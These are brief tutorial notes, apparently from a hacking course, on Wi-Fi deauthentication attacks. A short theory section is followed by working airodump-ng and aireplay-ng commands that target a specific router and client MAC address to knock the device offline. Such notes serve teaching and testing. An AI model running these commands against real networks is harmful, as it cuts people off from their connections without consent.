Deauthentication Attacks Theory
This attack is used to disconnect any device from any network within our range even if the network is protected with a key.
- Hacker sends de-authentication packets to the router pretending to be the target matching(by spoofing its MAC address.)
- At the same time, the hacker sends packets to the target machine (pretending to be the router) telling it that is needs to re-authenticate itself.
Start sniff the target router to find the victim machine.
airodump-ng --channel 9 --bssid B0:7F:B9:A4:42:EC wlan0
Start the replay attack.
aireplay-ng --deauth 10000 -a B0:7F:B9:A4:42:EC -c A8:66:7F:34:99:B5 wlan0
The victim machine can not browse the Internet now...
